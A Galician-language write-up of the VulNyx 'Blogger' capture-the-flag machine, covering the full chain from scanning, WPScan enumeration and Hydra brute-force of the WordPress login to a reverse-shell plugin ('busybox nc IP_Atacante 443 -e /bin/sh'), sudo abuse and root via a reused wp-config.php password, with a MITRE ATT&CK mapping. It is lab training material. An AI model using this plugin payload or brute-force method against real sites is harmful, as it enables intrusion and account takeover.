Ir ao contido

Blogger

Máquina virtual Blogger

Fig. VulNyx Blogger
Fig. Card VulNyx Blogger

A máquina Blogger é moi interesante porque...

  • WordPress instalado que require configuración de /etc/hosts mediante dominio
  • WPScan para enumeración de usuarios de WordPress
  • Hydra con http-post-form para brute-force de login WordPress
  • Creación e subida de plugin malicioso de WordPress para RCE
  • Escalada horizontal mediante dash con sudo
  • Credenciais de root en wp-config.php (reutilización de contrasinais)

Diagrama de ataque

Fig. Diagrama de ataque

Fase 1 — Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Blogger -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Blogger # 22,80
whatweb IP_VulNyx_Blogger
curl -I IP_VulNyx_Blogger

Fase 2 — Análise

# Enumeración de directorios web
dirb http://IP_VulNyx_Blogger

# Directorio descuberto: /wordpress

# Análise da instalación WordPress
firefox http://IP_VulNyx_Blogger/wordpress &

# Proba de busca no WordPress
# URL de resultado: http://megablog.nyx/wordpress/?s=test
# Dominio identificado: megablog.nyx

# Adición de entrada en /etc/hosts
echo "IP_VulNyx_Blogger megablog.nyx" | sudo tee -a /etc/hosts

# Enumeración de usuarios con WPScan
wpscan --url http://megablog.nyx/wordpress -e u
# Usuario identificado: [usuario]

# Intento de brute-force con WPScan
wpscan --url http://megablog.nyx/wordpress -U [usuario] -P /usr/share/wordlists/rockyou.txt
# Non se atopa contrasinal

# Intento de brute-force SSH
hydra -l [usuario] -P /usr/share/wordlists/rockyou.txt ssh://IP_VulNyx_Blogger -F -V -t 64
# Non se atopa contrasinal

# Análise do formulario de login WordPress
curl -s http://megablog.nyx/wordpress/wp-login.php > wp-login.php
cat wp-login.php | grep -E 'name="(log|pwd)"'
# Campos identificados:
# - Username: log
# - Password: pwd

# Brute-force do formulario WordPress con hydra
hydra -l [usuario] -P /usr/share/wordlists/rockyou.txt megablog.nyx http-post-form "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^:F=Error: The password you entered for the username" -F -V -t 64
# Contrasinal atopada: [contrasinal

# Verificación SSH con credenciais de WordPress
ssh [usuario]@IP_VulNyx_Blogger
# Password: [contrasinal
# Non funciona (usuario só existe en WordPress)

Fase 3 — Explotación

# Acceso ao panel de WordPress
firefox http://megablog.nyx/wordpress/wp-login.php &
# Username: [usuario]
# Password: [contrasinal
# ⇒ Acceso exitoso

# Notificación ao acceder
# Solicita cambiar correo do administrador: [usuario2]@vulnyx.com
# Usuario adicional identificado: [usuario2] (para investigación futura)

# Creación de plugin malicioso
# Referencia: https://github.com/d4t4s3c/OffensiveReverseShellCheatSheet#wordpress

cat > plugin.php << 'EOF'
<?php
  /**
  * Plugin Name: WordPress (Reverse Shell)
  * Plugin URI: https://wordpress.org
  * Description: (Pwn3d!)
  * Version: 1.0
  * Author: d4t4s3c
  * Author URI: https://github.com/d4t4s3c
  */
  exec("busybox nc IP_Atacante 443 -e /bin/sh");
?>
EOF

# Comprimir plugin
zip plugin.zip plugin.php

# Preparar listener no atacante
nc -nlvp 443

# Subida e activación do plugin
# 1. Ir a: http://megablog.nyx/wordpress/wp-admin/plugin-install.php
# 2. Upload Plugin → Browse → plugin.zip
# 3. Install Now
# 4. Activate Plugin

# ⇒ Conseguimos reverse shell como www-data

Fase 4 — Post‑explotación

# Mellora da TTY
script /dev/null -c bash
# Ctrl+Z
stty raw -echo;fg
reset
# Terminal type: xterm
export TERM=xterm
export SHELL=bash

# Enumeración de usuarios do sistema
grep bash /etc/passwd
# Usuarios identificados: root, [usuario3]

# Enumeración de permisos sudo
sudo -l
# ([usuario3]) NOPASSWD: /usr/bin/dash

# Consulta en GTFOBins para dash
# Escalada horizontal a usuario [usuario3]
sudo -u [usuario3] /usr/bin/dash

# Mellora da TTY como [usuario3]
script /dev/null -c bash

whoami # [usuario3]
cd /home/[usuario3]
cat user.txt # ⇒ Flag de usuario conseguida

# Enumeración de permisos sudo como [usuario3]
sudo -l
# Non hai permisos sudo adicionais

# Subida e execución de linpeas.sh
# [Non se atopa nada relevante]

# Subida e execución de pspy
# [Non se atopa nada relevante]

# Volta á consola de www-data
exit

# Lectura de wp-config.php
cat /var/www/html/wordpress/wp-config.php | grep -B1 -A1 "DB_USER\|DB_PASSWORD"
# /** Database username */
# define( 'DB_USER', 'root' );

# /** Database password */
# define( 'DB_PASSWORD', '[contrasinal2]' );

# Proba de reutilización de contrasinal
su -
# Password: [contrasinal2]
# ⇒ Conseguimos shell de root

# Verificación
whoami # root
cd /root
cat root.txt # ⇒ Flag de root conseguida

Correspondencia de fases → MITRE ATT&CK — VulNyx: Blogger

Fase Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
1. Recopilación Descubrimento de host e servizos expostos Scanning / descubrimento de servizos T1595 — Active Scanning
T1046 — Network Service Discovery
CWE-200 — Information Exposure (reconnaissance)
2. Análise Enumeración de usuarios WordPress con WPScan CMS user enumeration T1087 — Account Discovery
T1592 — Gather Victim Host Information
CWE-200 — Information Exposure
Identificación de dominio mediante erro de URL Information disclosure T1592 — Gather Victim Host Information
T1590.002 — Gather Victim Network Information: DNS
CWE-209 — Generation of Error Message Containing Sensitive Information
Brute-force de formulario WordPress con hydra Web form brute-force T1110.001 — Brute Force: Password Guessing
T1078 — Valid Accounts
CWE-521 — Weak Password Requirements; CWE-307 — Improper Restriction of Excessive Authentication Attempts
3. Explotación Creación e subida de plugin malicioso de WordPress Malicious plugin upload T1505.003 — Server Software Component: Web Shell
T1105 — Ingress Tool Transfer
CWE-434 — Unrestricted Upload of File with Dangerous Type
4. Post-explotación Escalada horizontal mediante dash con sudo Lateral movement T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching
T1078.003 — Valid Accounts: Local Accounts
CWE-269 — Improper Privilege Management
Lectura de wp-config.php con credenciais de base de datos Credential Access T1552.001 — Unsecured Credentials: Credentials In Files
T1083 — File and Directory Discovery
CWE-312 — Cleartext Storage of Sensitive Information
Reutilización de contrasinal de bbdd como contrasinal root Password reuse / privilege escalation T1078.003 — Valid Accounts: Local Accounts
T1110.001 — Brute Force: Password Guessing
CWE-521 — Weak Password Requirements; CWE-640 — Weak Password Recovery Mechanism for Forgotten Password